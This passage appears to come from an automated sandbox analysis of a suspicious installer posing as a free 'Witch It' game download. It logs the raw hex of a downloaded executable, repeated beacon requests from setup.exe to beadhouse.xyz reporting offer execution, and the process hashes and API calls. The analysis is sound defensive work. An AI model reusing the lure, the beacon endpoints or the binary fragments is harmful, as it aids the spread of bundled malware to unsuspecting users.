Jan 21, 2024 17:12:00.881236076 CET	1286	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:00 GMT Content-Type: application/force-download Content-Length: 3468179 Connection: keep-alive X-Powered-By: PHP/5.3.28 Content-Disposition: attachment; filename="Witch It Free Download v126 Online.exe_.exe" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k786SxWq%2FpviiLcNos4PoFZun6rQtiQiFkE6vWQJVvrE2y0hEEL2n%2BJ0rqYFEgSSErMm9evALe3TaGqELckZTdFB7OSAePgJC%2Fna5pEhKRcFU%2B1hWLFkIPG4mJXRxgaIBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d6065cf87b9f-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 b8 84 3a 75 d9 ea 69 75 d9 ea 69 75 d9 ea 69 b6 d6 b5 69 77 d9 ea 69 75 d9 eb 69 ee d9 ea 69 b6 d6 b7 69 64 d9 ea 69 21 fa da 69 7f d9 ea 69 b2 df ec 69 74 d9 ea 69 52 69 63 68 75 d9 ea 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c6 e3 1a 4b 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 5c 00 00 00 d4 01 00 00 04 00 00 3c 32 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 03 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 73 00 00 b4 00 00 00 00 60 03 00 e0 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5a 5a 00 00 00 10 00 00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1:uiuiuiiwiuiiidi!iiitiRichuiPELK\<2p@s`?p.textZZ\ `.rdatap`@@.datar@.nd
Jan 21, 2024 17:12:00.881257057 CET	1286	IN	Data Raw: 61 74 61 00 00 00 20 01 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e0 3f 00 00 00 60 03 00 00 40 00 00 00 76 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 Data Ascii: ata @.rsrc?`@v@@
Jan 21, 2024 17:12:00.881417036 CET	1286	IN	Data Raw: c6 3b df 74 0d ff 45 fc 83 45 f8 04 83 7d fc 20 72 9f 8b 45 fc 5f 5e 5b c9 c2 04 00 8b 44 24 04 85 c0 7d 11 40 b9 00 40 42 00 c1 e0 0a 2b c8 51 e8 57 47 00 00 c2 04 00 56 8b 74 24 08 eb 6a 8b c6 8b 0d d0 3e 42 00 6b c0 1c 03 c1 83 38 01 74 5c 50 Data Ascii: ;tEE} rE_^[D$}@@B+QWGVt$j>Bk8t\P=tUPu@FH+\|$t/6Bj5t6Bh0u56B0q@Pht$Dr@}3^D$>Bjtlihp@t$:U>BSV
Jan 21, 2024 17:12:00.881429911 CET	1286	IN	Data Raw: 00 00 ff 75 f8 6a ea e8 a1 36 00 00 ff 05 54 3f 42 00 53 53 ff 75 cc ff 75 e4 e8 a2 16 00 00 ff 0d 54 3f 42 00 83 7d e8 ff 8b f8 75 06 83 7d ec ff 74 12 8d 45 e8 50 8d 45 e8 53 50 ff 75 cc ff 15 a8 70 40 00 ff 75 cc ff 15 ec 70 40 00 3b fb 0f 8d Data Ascii: uj6T?BSSuuT?B}u}tEPESPup@up@;ujVBuVBjVBh V1S4j1uP<;;i;EJ;EEjuPn;ijPMBjjEj
Jan 21, 2024 17:12:00.881443977 CET	1080	IN	Data Raw: 05 8b af 40 00 01 88 0d 88 af 40 00 8a c8 80 e1 02 24 04 68 90 af 40 00 88 0d 89 af 40 00 a2 8a af 40 00 e8 03 3e 00 00 68 74 af 40 00 ff 15 4c 70 40 00 e9 23 07 00 00 53 e8 3e 0c 00 00 6a 01 8b f0 e8 35 0c 00 00 39 5d e8 50 56 75 0b ff 15 60 72 Data Ascii: @@$h@@@>ht@Lp@#S>j59]PVu`r@<r@S/j1&j"jj:uhB#PS#Pu\q@!uASVj0V5;E 9]tF5q@jq@
Jan 21, 2024 17:12:00.893246889 CET	1286	IN	Data Raw: 75 0d 53 6a f9 e8 65 2d 00 00 e9 b8 04 00 00 8b 45 cc 56 89 45 9c c7 45 a0 02 00 00 00 e8 c5 39 00 00 57 88 5c 30 01 e8 bb 39 00 00 88 5c 38 01 8b 45 08 66 8b 4d e4 50 53 89 75 a4 89 7d a8 89 45 b6 66 89 4d ac e8 24 2d 00 00 8d 45 9c 50 ff 15 60 Data Ascii: uSje-EVEE9W\09\8EfMPSu}EfM$-EP`q@=th jS9P2~4?Bh33;tSU;tj9]tj"jPSWV q@?jE!N~jxjEn
Jan 21, 2024 17:12:00.893260956 CET	1286	IN	Data Raw: e8 56 03 00 00 56 e8 78 31 00 00 6a 02 68 00 00 00 40 56 e8 8a 31 00 00 83 f8 ff 89 45 08 0f 84 9d 00 00 00 a1 b4 3e 42 00 8b 35 00 71 40 00 50 6a 40 89 45 d4 ff d6 8b f8 3b fb 74 7b 53 e8 13 0b 00 00 ff 75 d4 57 e8 d8 0a 00 00 ff 75 e4 6a 40 ff Data Ascii: VVx1jh@V1E>B5q@Pj@E;t{SuWuj@;ut4uVSuFQVPM0u8uup@ESPuWu(q@Wp@SSujEup@9]j^}j^uDq@EVSV;>BE
Jan 21, 2024 17:12:00.893270969 CET	1286	IN	Data Raw: 45 c0 50 68 06 04 00 00 ff 75 08 e8 54 28 00 00 33 c0 c9 c2 10 00 8b 0d 40 70 41 00 a1 50 f0 41 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 30 71 40 00 c3 55 8b ec 83 ec 40 56 33 f6 39 75 08 74 18 a1 4c 70 41 00 3b c6 74 07 50 ff 15 e8 71 40 00 89 35 Data Ascii: EPhuT(3@pAPA;\|PjdQ0q@U@V39utLpA;tPq@5LpAv95LpAtV2fp@;>BvX95>Bt-T?BtGPEhP@Pr@EPV"#Vh;+@Vjo5>Bq@jPLpA`r@^U(SV3W]]p@Bh
Jan 21, 2024 17:12:00.893285036 CET	1286	IN	Data Raw: bf 00 40 00 00 2b 05 54 f0 41 00 3b c7 7f 02 8b f8 be 40 30 41 00 57 56 e8 fb 00 00 00 85 c0 0f 84 d3 00 00 00 01 3d 54 f0 41 00 89 35 d0 af 40 00 89 3d d4 af 40 00 39 1d b0 3e 42 00 74 29 39 1d 40 3f 42 00 75 21 a1 50 f0 41 00 53 2b 05 44 70 41 Data Ascii: @+TA;@0AWV=TA5@=@9>Bt)9@?Bu!PAS+DpA+D$@@pAY@-@@Y.\|{5@+t2D$SPVU5@(q@tU;t$uO5@9@w9@u7;t3DpA+@L$SSP5@4
Jan 21, 2024 17:12:00.893297911 CET	1286	IN	Data Raw: 74 04 89 44 24 18 ff 74 24 18 ff 15 a4 70 40 00 a1 14 90 40 00 56 8b 35 ec 70 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 14 90 40 00 ff a1 18 90 40 00 83 f8 ff 74 0a 50 ff d6 83 0d 18 90 40 00 ff e8 29 00 00 00 6a 07 68 00 a8 42 00 e8 8e 1e 00 00 5e c3 Data Ascii: tD$t$p@@V5p@tP@@tP@)jhB^V5\At$V6Yu^V5\AjtW6wq@Wp@u_%\A^\AH;L$tu@3Vt$Vu@,jj@q@tL$pH\A
Jan 21, 2024 17:12:00.893665075 CET	1286	IN	Data Raw: 15 e8 71 40 00 8b 44 24 2c a3 78 36 42 00 e9 fc 03 00 00 83 fb 11 75 11 55 55 57 ff 15 30 72 40 00 33 c0 40 e9 0b 04 00 00 81 fb 11 01 00 00 0f 85 9d 00 00 00 0f b7 74 24 2c 56 57 ff 15 2c 72 40 00 8b f8 3b fd 74 1d 55 55 68 f3 00 00 00 57 ff 15 Data Ascii: q@D$,x6BuUUW0r@3@t$,VW,r@;tUUhWDr@Wq@uV.u9-@~?jj_;u49-,?BtW=hAjx0ju%hAt$0t$0h5x6BDr@t$0t$0SOD$,\|$$;B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49702	172.67.219.140	80	4972	C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
Jan 21, 2024 17:12:06.738539934 CET	164	OUT	GET /api_pedl.php?spot=1&a=2713&on=420&o=1662 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:06.922519922 CET	592	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9ivzHlUSOPE1Wyhjufi4mttW5lD7bmvG41ub1CA0RYJlTOAFTW0irYvSpBOeCBvAOmrQpf3GpGRMw3J2AGIt%2Bj2z5W7rkcmpi5grgPPXebAfMoeLo9TBjzJ2ApDLLqaZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d63e79cf78ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:08.258977890 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2713&dn=420&spot=1&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:08.406277895 CET	578	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:08 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NrF29gTiMd9oFd3dxfsjF9qfFEbW%2BOGojlsRrypFZkFV0bBRBSICbkr4AO0MZlaZC8GCAE6EniIBoAxpP9f%2BNqk9%2FPrwMTRbuc9ZS3SOZkq3JNfa32brnLv5hBeXOH14"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d647fe7978ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:12:08.428599119 CET	164	OUT	GET /api_pedl.php?spot=2&a=2713&on=419&o=1661 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:08.581409931 CET	602	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gQYXx6MuIS0EamVWhxxAGUpziYPQumv1OQC7ybw%2Fu%2FnIqGr6CMoFuv0MbxB5ZC%2BSBITHMCHo7vAB3AzW1L2ERRDfhCeAv6PbF6%2BNP6uxGoOfLx%2FGKF7TRBgK5nrV%2BstE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d649084978ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:08.713726997 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2713&dn=419&spot=2&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:08.859426022 CET	578	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:08 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RG1GjcAbAamGaWtXuVbxcg0JouRPiFPFdHb8TmcXARMPDd%2BnKrgZYmpfjLK7b%2FvPZaYAQMvXBRtHVkx5I1CtJXV%2F5Q2b3gQBO3BtwAKMHGieF0jbGfSCZGC8DjR8Lp6D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d64acaa078ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:12:08.878515959 CET	163	OUT	GET /api_pedl.php?spot=3&a=2713&on=244&o=331 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.031697035 CET	604	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vl9u85HE16FuUk%2BEV7FIPRlijMiysnZSJOtiVJlluDBiaFHkXXCO6Ldh4dr7%2FTgd%2F8aOR%2BPsq3M6UWXxnHZnRL%2FzuXWTgTCaMP5D31vlGbY8Xc%2FHer2i7hTgG91e%2BzO6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d64bdc0278ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:09.044698954 CET	213	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=331&a=2713&dn=244&spot=3&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.192486048 CET	582	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AFmQ0ImAVjXxkynHjPVpVcvDr%2FhY2pTOgwJ%2F71fqn9guL21Dvuu32TKwqYgeFFRR%2BXQJ02J%2FS9ijEB2UIHx%2F1cP3yM52GRusDnZgA5kR9jVtqoVaHVDXy79yt7zDzAtr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d64cdd2b78ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:12:09.213731050 CET	164	OUT	GET /api_pedl.php?spot=4&a=2713&on=415&o=1657 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.367445946 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=dp0j2NTtgY1RtkSkZFLGuYuEtdfp5D6bA0G1dIQLtZ8Ar%2BXLvFenZtOww7xgkC2YuwpmALyofXb6aATkKw7PM5FP4IlCJ0ZfG83j5UJvs%2BLrxT%2BXoloR3wdqLZiw0pqK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d64deeb778ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:09.386756897 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1657&a=2713&dn=415&spot=4&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.535384893 CET	588	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gphZcBfyMcTLYD%2FPwLYsVI35x4m%2BzT%2B4Tby1t6%2BmJBmONMm00scnMvPdrcYGchWmUNcQ%2F02Uq1QM3pC1K2ws%2FxC1xxMy%2B0bfVZUUO6SUv70%2FfQMBOhDQIShlmtVgP1j0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d64ef82078ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:12:09.556343079 CET	164	OUT	GET /api_pedl.php?spot=5&a=2713&on=424&o=1664 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.715979099 CET	606	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=G70%2BJ0dOLLbE%2BA5MQ2PiPNQAa%2FBL0h8jJWa5Su%2BoYXoYck%2Btpx1zm0jwxFPPDJCrkE%2Fo%2B4H9dydtilOtQc93PmyR15d0tfOXZ0ylmd%2BzL5SZBCRIKuh3LEqqkq5fHHt1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d650093c78ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:09.727938890 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2713&dn=424&spot=5&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:09.875982046 CET	584	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kRCJTdyWKU5rm7o91nnOvOpoBt1MeL4%2FHOtEYH0E%2B2sjToXPnXQc2uwVL1twRLlDWw2gUlQaWWFshUyxeRAoePWJsrnJj6xi%2Bxe%2BQa1Tpk8%2FaAg2vHB%2FYNCqlDWSKKSK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d6512aa878ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok
Jan 21, 2024 17:12:09.894073963 CET	164	OUT	GET /api_pedl.php?spot=6&a=2713&on=416&o=1658 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:10.048126936 CET	596	IN	HTTP/1.1 404 Not Found Date: Sun, 21 Jan 2024 16:12:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pQJErz2dZOpg4F0IfWpZKDHuQUz3u4dfbJq1Kzah3%2BPjognXfAbv4aR28X83Yjz0duD9zCFsO6fkk3lUTi5BuPivwWFCOR9ZjL2X3PXl9jgyWmRp6fXNKyNzRxblb%2F%2B5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d6522c2578ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jan 21, 2024 17:12:10.060839891 CET	214	OUT	GET /ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2713&dn=416&spot=6&t=1705853516 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
Jan 21, 2024 17:12:10.208062887 CET	578	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:10 GMT Content-Type: text/plain Content-Length: 2 Connection: keep-alive X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=d7jCxB3LbzONqPdT3b0ecOGiDFUdwzw5t%2FUOy79YH4vi1b7EtIy043T86uTBlh0Nz4mgansJzmeO%2FZtw%2FYS9H1zzJ4H3JXOUXPwOgCAQfhSDydvUZBtgJXKCdY3nsluo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d6533d7878ce-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 6f 6b Data Ascii: ok

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49701	172.67.219.140	443	4972	C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-21 16:12:05 UTC	156	OUT	GET /ss.php?a=3984&cc=US&t=1705853516 HTTP/1.1 User-Agent: InnoDownloadPlugin/1.5 Host: beadhouse.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-01-21 16:12:06 UTC	575	IN	HTTP/1.1 200 OK Date: Sun, 21 Jan 2024 16:12:06 GMT Content-Type: text/plain Content-Length: 2 Connection: close X-Powered-By: PHP/5.5.38 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4TfX0LkzVZ%2B4YL162KmmXyqknIPoF4oeujBr%2FHJFiZJD3oagZcfLuwQQXXg0cvssneOVE42HUEYoDujA070We5H01XvsumF%2F4NU6GMlQ3reKIdnOnFFhg%2FqsbuWw%2FysQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8490d639385a7bc9-ATL alt-svc: h3=":443"; ma=86400
2024-01-21 16:12:06 UTC	2	IN	Data Raw: 6f 6b Data Ascii: ok

Target ID:	0
Start time:	17:11:50
Start date:	21/01/2024
Path:	C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe
Imagebase:	0x400000
File size:	1'672'037 bytes
MD5 hash:	F674F52C3FC7BFD52872FBBA26D85DAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:11:50
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-FABT2.tmp\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.tmp" /SL5="$2043A,832512,832512,C:\Users\user\Desktop\A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe"
Imagebase:	0x400000
File size:	3'199'488 bytes
MD5 hash:	56A7502C7D754C29CAB3C31B9D9292E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:12:01
Start date:	21/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe
Imagebase:	0x400000
File size:	3'468'179 bytes
MD5 hash:	B68F9AC696CEAF91B7FCED85F7DB2096
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.4%
Total number of Nodes:	1266
Total number of Limit Nodes:	39

Executed Functions

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 0040325B
SetErrorMode.KERNEL32(00008001), ref: 00403266
OleInitialize.OLE32(00000000), ref: 0040326D

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

SHGetFileInfoA.SHELL32(0041F458,00000000,?,00000160,00000000,00000008), ref: 00403295

Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Witch It Free Download v126 Online.exe,NSIS Error), ref: 00405B73

GetCommandLineA.KERNEL32(Witch It Free Download v126 Online.exe,NSIS Error), ref: 004032AA
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",00000000), ref: 004032BD
CharNextA.USER32(00000000,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",00000020), ref: 004032E8
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040337B
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403390
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339C
DeleteFileA.KERNEL32(1033), ref: 004033AF
OleUninitialize.OLE32(00000000), ref: 0040342D
ExitProcess.KERNEL32 ref: 0040344D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe",00000000,00000000), ref: 00403459
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp), ref: 00403465
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403471
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403478
DeleteFileA.KERNEL32(0041F058,0041F058,?,00424000,?), ref: 004034C2
CopyFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\is-ECTJT.tmp\setup.exe,0041F058,00000001), ref: 004034D6
